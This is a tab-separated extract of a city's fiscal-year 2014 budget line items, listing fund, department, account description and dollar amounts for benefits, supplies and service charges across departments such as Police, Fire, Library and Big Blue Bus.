10322	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	29418.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29418.0
10323	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	10836.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10836.0
10324	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	210.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	210.0
10325	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2014	-32020.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32020.0
10326	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2014	256250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256250.0
10327	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	11303.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11303.0
10328	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	5640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5640.0
10329	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2014	217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	217.0
10330	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	813.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	813.0
10331	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
10332	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	3077.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3077.0
10333	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	104083.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104083.0
10334	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561291.0	UBH-FAMILY PLACE TRANS HOUSING		 Supplies and Expenses	2014	15529.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15529.0
10335	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404770.0	PROP C LOCAL RETURN	610.0	Intergovernmental	2014	-1273801.0	0	0	0	-40329.0	0	0.0	0	0	0	0	0.0	-1314130.0
10336	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	24257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24257.0
10337	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	946856.0	0	0	0	0.0	8621	0.0	0	0	0	0	0.0	955477.0
10338	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	2103259.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2103259.0
10339	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	12785.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12785.0
10340	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	135650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	135650.0
10341	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	121150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	121150.0
10342	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	72923.0	0	0	0	1700.0	0	0.0	0	0	0	0	0.0	74623.0
10343	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	124757.0	0	0	0	0.0	1940	0.0	0	0	0	0	0.0	126697.0
10344	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	13867.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13867.0
10345	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	132401.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	132401.0
10346	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	115847.0	0	0	0	0.0	12071	0.0	0	0	0	0	0.0	127918.0
10347	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	38124.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38124.0
10348	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	15528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15528.0
10349	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	38200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38200.0
10350	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	298617.0	0	0	0	0.0	4514	0.0	0	0	0	0	0.0	303131.0
10351	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	53690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	53690.0
10352	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	137308.0	0	0	0	0.0	0	2125.0	0	0	0	0	0.0	139433.0
10353	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	1006412.0	0	0	0	0.0	15302	10085.98	0	0	0	0	0.0	1031799.98
10354	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	7211.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7211.0
10355	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	2439.0	0	0	0	0.0	32	0.0	0	0	0	0	0.0	2471.0
10356	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	29433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29433.0
10357	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2014	28067.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28067.0
10358	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	405200.0	VIDEO PRODUCTION SERVICE	612.0	Charges for Service	2014	-10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10000.0
10359	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	12952.0	0	0	0	97.0	123	351.0	0	0	0	0	0.0	13523.0
10360	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	5094.0	0	0	0	0	0.0	5094.0
10361	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	6051.0	0	0	0	0.0	287	0.0	0	0	0	0	0.0	6338.0
10362	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	11376.0	0	0	0	0.0	65	0.0	0	0	0	0	0.0	11441.0
10363	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	49737.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49737.0
10364	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2014	-204809.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-204809.0
10365	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2014	-10558.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10558.0
10366	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	666.0
10367	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561404.0	PROJECT HOMECOMING		 Supplies and Expenses	2014	35893.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35893.0
10368	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2014	-389215.0	0	0	0	0.0	0	0.0	389215	0	0	0	0.0	0.0
10369	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
10370	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
10371	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
10372	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	95052.0	0	0	0	0.0	779	0.0	0	0	0	0	0.0	95831.0
10373	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DCAP	804.0	Salaries and Wages	2014	288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	288.0
10374	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	19586.0	0	0	0	0.0	219	651.0	-1238	0	0	0	0.0	19218.0
10375	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	94968.0	0	0	0	0.0	0	0.0	16632	0	0	0	0.0	111600.0
10376	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EAP	804.0	Salaries and Wages	2014	931.0	0	0	0	0.0	0	41.67	0	0	0	0	0.0	972.67
10377	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EAP	804.0	Salaries and Wages	2014	2171.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2171.0
10378	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EAP	808.0	Salaries and Wages	2014	2810.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2810.0
10379	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2014	3760.0	0	0	0	0.0	49	78.0	0	0	0	0	0.0	3887.0
10380	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	3033.0	0	0	0	0.0	0	79.0	0	0	0	0	0.0	3112.0
10381	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1017.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1017.0
10382	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		UNEMPLOYMENT	812.0	Salaries and Wages	2014	4571.0	0	0	0	0.0	42	0.0	0	0	0	0	0.0	4613.0
10383	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	6967.0	0	0	0	0.0	66	0.0	0	0	0	0	0.0	7033.0
10384	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		UNEMPLOYMENT	812.0	Salaries and Wages	2014	4404.0	0	0	0	0.0	50	0.0	0	0	0	0	0.0	4454.0
10385	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	8096.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8096.0
10386	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DCAP	804.0	Salaries and Wages	2014	564.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	564.0
10387	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2014	12080.0	0	0	0	33.0	196	121.0	0	0	0	0	0.0	12430.0
10388	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		UNEMPLOYMENT	806.0	Salaries and Wages	2014	7815.0	0	0	0	1657.0	308	0.0	0	0	0	0	0.0	9780.0
10389	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		UNEMPLOYMENT	806.0	Salaries and Wages	2014	6689.0	0	0	0	0.0	311	0.0	0	0	0	0	0.0	7000.0
10390	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2014	5688.0	0	0	0	0.0	0	75.0	0	0	0	0	0.0	5763.0
10391	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DCAP		Salaries and Wages	2014	504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	504.0
10392	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2014	12394.0	0	0	0	0.0	173	0.0	0	0	0	0	0.0	12567.0
10393	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1091.0	0	0	0	0.0	0	79.17	0	0	0	0	0.0	1170.17
10394	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2448.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2448.0
10395	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EAP	808.0	Salaries and Wages	2014	726.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	726.0
10396	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2015.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2015.0
10397	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		UNEMPLOYMENT	810.0	Salaries and Wages	2014	4769.0	0	0	0	0.0	47	0.0	0	0	0	0	0.0	4816.0
10398	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2014	834.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	834.0
10399	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	4720.0	0	0	0	0.0	463	0.0	0	0	0	0	0.0	5183.0
10400	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	2179.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2179.0
10401	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	3007.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3007.0
10402	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	780.0
10403	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	4722.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4722.0
10404	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2014	11772.0	0	0	0	0.0	156	0.0	0	0	0	0	0.0	11928.0
10405	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EAP	812.0	Salaries and Wages	2014	3214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3214.0
10406	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	18218.0	0	0	0	0.0	246	0.0	0	0	0	0	0.0	18464.0
10407	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DCAP	816.0	Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
10408	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		UNEMPLOYMENT	816.0	Salaries and Wages	2014	5444.0	0	0	0	0.0	71	0.0	0	0	0	0	0.0	5515.0
10409	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	19290.0	0	0	0	53.0	309	191.0	0	0	0	0	0.0	19843.0
10410	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DCAP	806.0	Salaries and Wages	2014	11712.0	0	0	0	612.0	0	-25.0	0	0	0	0	0.0	12299.0
10411	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	66915.0	0	0	0	0.0	1286	251.0	0	0	0	0	0.0	68452.0
10412	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EAP	806.0	Salaries and Wages	2014	1352.0	0	0	0	470.0	0	0.0	0	0	0	0	0.0	1822.0
10413	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DCAP	806.0	Salaries and Wages	2014	924.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	924.0
10414	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	2295.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2295.0
10415	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DCAP	840.0	Salaries and Wages	2014	3228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3228.0
10416	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2014	9988.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9988.0
10417	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2014	29957.0	0	0	0	0.0	409	0.0	0	0	0	0	0.0	30366.0
10418	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	12132.0	0	0	0	0.0	0	237.5	0	0	0	0	0.0	12369.5
10419	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	40481.0	0	0	0	0.0	593	404.71	0	0	0	0	0.0	41478.71
10420	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EAP	808.0	Salaries and Wages	2014	518.0	0	0	0	0.0	0	41.67	0	0	0	0	0.0	559.67
10421	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DCAP	808.0	Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
10422	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DCAP	808.0	Salaries and Wages	2014	492.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	492.0
10423	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	4933.0	0	0	0	0.0	55	0.0	0	0	0	0	0.0	4988.0
10424	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		EAP	808.0	Salaries and Wages	2014	1453.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1453.0
10425	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	25770.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25770.0
10426	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	7207.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7207.0
10427	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	2336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2336.0
10428	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	31285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31285.0
10429	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	94929.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	94929.0
10430	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511749.0	VISION	840.0	Salaries and Wages	2014	964.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	964.0
10431	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	645780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	645780.0
10432	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
10433	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2014	-250000.0	0	0	0	0.0	0	25000.0	0	0	0	0	0.0	-225000.0
10434	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	2961.0	0	0	0	0.0	20	0.0	0	0	0	0	0.0	2981.0
10435	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	15145.0	0	0	0	-202.0	217	0.0	0	0	0	0	0.0	15160.0
10436	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	66378.0	0	0	0	0.0	1090	0.0	0	0	0	0	0.0	67468.0
10437	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	14364.0	0	0	0	0.0	134	0.0	0	0	0	0	0.0	14498.0
10438	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	0.0	0	0	0	0.0	463	0.0	0	0	0	0	0.0	463.0
10439	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	16480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16480.0
10440	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	8542.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8542.0
10441	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2014	576.0	0	0	0	0.0	0	25.0	0	0	0	0	0.0	601.0
10442	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	432.0
10443	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	8872.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8872.0
10444	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EAP	812.0	Salaries and Wages	2014	1146.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1146.0
10445	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		UNEMPLOYMENT	816.0	Salaries and Wages	2014	3693.0	0	0	0	0.0	24	0.0	0	0	0	0	0.0	3717.0
10446	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		UNEMPLOYMENT	816.0	Salaries and Wages	2014	11035.0	0	0	0	0.0	154	0.0	0	0	0	0	0.0	11189.0
10447	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EAP	816.0	Salaries and Wages	2014	2188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2188.0
